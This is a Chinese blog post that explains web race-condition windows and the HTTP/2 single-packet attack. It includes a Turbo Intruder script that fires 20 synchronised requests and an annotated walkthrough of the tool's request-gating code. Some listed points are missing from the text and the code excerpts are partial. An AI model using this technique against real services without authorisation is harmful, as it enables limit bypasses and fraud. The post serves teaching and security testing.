竞争窗口,顾名思义就是web应用程序处理某一个请求时会有一个短暂的子状态转换,比如说首先查询数据库,然后做一个check,然后再更新数据库,这一系列的子状态转换就会出现竞争窗口:
当用户通过某种手段将两个请求同时抵达到服务端的应用程序,应用程序的两个线程会同时对数据库进行查询,进而都发现满足check条件,然后就会返回成功,然后再去更新数据库,因此此时现象是两个请求都被服务端认为满足条件了。但为什么这种攻击不好触发呢,常常因为这么几个原因:
假设有这么个技术可以实现两个请求同时让服务端处理,以达到竞争窗口的出现,那么我们可以干什么坏事呢?
使多个请求同时被服务端处理的这项技术真实存在,由portswigger研究总监白帽黑客james kettle发明,他反复发送了一批 20 个请求,从 Melbourne 到 Dublin 17000 公里,并测量了每个批次中第一个和最后一个请求的执行开始时间戳之间的差距,中位数差不多是1ms,标准差是0.3ms,现在我简单介绍一下我对此技术的理解,james kettle镇楼:
这里面涉及两个概念,一个是单包多请求技术,一个是最后一个字节同步技术:
依托两大技术,我们具体做法如下:
首先,预先发送每个请求的大部分内容:
您可能很想发送完整的正文,并依赖于不发送END_STREAM,但在某些使用 content-length 标头来决定消息何时完成,而不是等待END_STREAM的 HTTP/2 服务器实现上,这将中断。
接下来,准备发送最终帧:
最后,发送保留的帧。您应该能够使用 Wireshark 验证它们是否位于单个数据包中。
本质就是,最后一个字节同步+最后内容多请求放在一个报文中发送
有了圣剑你也可以成为最厉害的骑士,这个现成的技术可以使用工具轻松实现,一共两个办法:
我们看看封装的脚本背后是如何实现的,本质是调用了3个函数:
# if the target supports HTTP/2, use engine=Engine.BURP2 to trigger the single-packet attack
# if they only support HTTP/1, use Engine.THREADED or Engine.BURP instead
# for more information, check out https://portswigger.net/research/smashing-the-state-machine
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# the 'gate' argument withholds part of each request until openGate is invoked
# if you see a negative timestamp, the server responded before the request was complete
for i in range(20):
engine.queue(target.req, gate='race1')
# once every 'race1' tagged request has been queued
# invoke engine.openGate() to send them in sync
engine.openGate('race1')
非常清晰啊,第一步创建引擎,第二步将要发送的数据准备好放到队列里,第三步把队列中的数据发出并确保同时抵达。关键函数如下:
open class RequestEngine {
// 存储所有gate
protected val gates = HashMap<String, Floodgate>()
// 请求队列
protected val requestQueue = LinkedBlockingQueue<Request>()
init {
// 根据不同engine类型创建具体实现
when (engineType) {
Engine.SPIKE -> engine = SpikeEngine()
Engine.HTTP2 -> engine = HTTP2RequestEngine()
Engine.THREADED -> engine = ThreadedRequestEngine()
// ...
}
}
}
fun queue(template: String, payloads: List<String>, gate: String?) {
// 1. 如果指定了gate,创建或获取Floodgate
val floodgate = if(gate != null) {
gates.getOrPut(gate) { Floodgate(gate, this) }
} else null
// 2. 创建Request对象
val request = Request(
template = template,
payloads = payloads,
gate = floodgate
)
// 3. 将请求加入队列
requestQueue.offer(request)
init {
requestQueue = if (maxQueueSize > 0) {
LinkedBlockingQueue(maxQueueSize)
}
else {
LinkedBlockingQueue()
}
idleTimeout *= 1000
threadLauncher = DefaultThreadLauncher()
socketFactory = TrustAllSocketFactory()
target = URL(url)
val retryQueue = LinkedBlockingQueue<Request>()
completedLatch = CountDownLatch(threads)
for(j in 1..threads) {
thread {
// create engine时候会启动发送报文线程,但此时会阻塞
sendRequests(retryQueue)
}
}
}
private fun sendRequests(retryQueue: LinkedBlockingQueue<Request>) {
while (!shouldAbandonAttack()) {
// 1. 阻塞等待获取第一个请求
val req = requestQueue.take() // 这里会等待直到队列中有请求
if (req.gate != null) {
val gatedReqs = ArrayList<Request>()
req.gate!!.reportReadyWithoutWaiting()
// 将queue的报文陆续添加到req里
gatedReqs.add(req)
// 2. 继续收集同一个gate的请求,直到gate打开或所有请求就绪
while (!req.gate!!.isOpen.get() && !shouldAbandonAttack()) {
val nextReq = requestQueue.poll(50, TimeUnit.MILLISECONDS)
?: throw RuntimeException("Gate deadlock")
if (nextReq.gate!!.name != req.gate!!.name) {
throw RuntimeException("Over-read while waiting for gate to open")
}
nextReq.connectionID = connectionID
gatedReqs.add(nextReq)
// 如果所有请求都收集完毕,跳出循环
if (nextReq.gate!!.reportReadyWithoutWaiting()) {
break
}
}
// 3. 开始发送请求...
// 4. 先发送0~last-1的字节
connection.sendFrames(prepFrames)
Thread.sleep(100) // headstart size
for (gatedReq in gatedReqs) {
gatedReq.time = System.nanoTime()
}
// 5. 本地协议栈热身
if (warmLocalConnection) {
val warmer = burp.network.stack.http2.frame.PingFrame("12345678".toByteArray())
// val warmer = burp.network.stack.http2.frame.DataFrame(finalFrames[0].Q, FrameFlags(0), "".toByteArray())
// using an empty data frame upsets some servers
connection.sendFrames(warmer) // just send it straight away
//finalFrames.add(0, warmer)
}
// 6. 先发送last-1~last的字节
for (pair in finalFrames) {
//Utils.out("Sending final frame")
if (pair.second != 0L) {
//Utils.out("Sleeping for "+pair.second)
// fixme response arrives before this frame is sent!
Thread.sleep(pair.second)
}
//Utils.out("Finished sleeping")
connection.sendFrames(pair.first)
}
}
}
}
class Floodgate {
fun openGate(gateName: String) {
val gate = gates[gateName] ?: return
// 等待所有请求就绪
while (gate.remaining.get() > 0) {
synchronized(gate.remaining) {
gate.remaining.wait()
}
}
// 打开gate
synchronized(gate.isOpen) {
gate.isOpen.set(true)
gate.isOpen.notifyAll()
}
}
}
https://portswigger.net/web-security/learning-paths/race-conditions
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。